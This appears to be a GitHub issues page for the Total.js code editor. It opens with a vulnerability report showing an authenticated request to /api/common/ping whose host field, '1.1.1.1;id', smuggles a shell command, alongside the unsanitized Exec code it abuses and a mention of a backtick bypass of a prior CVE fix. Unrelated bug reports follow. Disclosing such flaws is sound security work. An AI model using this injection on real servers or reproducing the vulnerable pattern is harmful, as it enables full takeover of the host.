totaljs / code Goto Github PK

Using the API /api/common/ping it's possible to achieve remote command execution on the host machine. This leads to complete control over the machine hosting the server.

To reproduce the vulnerability:

• Download the repo
• Execute node index.js
• Login
• Execute this request as shown below:

HTTP request:

POST /api/common/ping HTTP/1.1
Host: 0.0.0.0:8000
User-Agent: bla-bla-bla
Cookie: your-auth-cookie
Content-Length: 15

host=1.1.1.1;id

This is the vulnerable code:

	schema.addWorkflow('ping', function($) {
		var host = $.model.host.replace(/'|"|\n/g, '');
		Exec('ping -c 3 {0}'.format(host), $.done(true));
	});

Here the problem is the fact that the server doesn't sanitize correctly the input checking that the host provided is a legitimate one, allowing also characters like ;, | or &.

I recently stumbled upon CVE-2022-44019 and noticed that the fix implemented for it can be bypassed by using backticks. Backticks are used to execute a subcommand before the main command, as the shell evaluates the expression inside the backticks first.

I try create project and click preview, then the address URL get http://my_host:port/my_project , but it return editor view in new tab and I get logout

Hey guys i have noticed with v1.4.0 when you save a file it does save the file but the screen just gets stuck on the loading and nevers comes off until you refresh the page ??

cdn.min.js:13 POST http://103.16.131.178:8000/api/files/197682001ap61b/ 408 (Request Timeout)

getting this error ??

also with the new v5 you cant seem to add a new directory to the project ?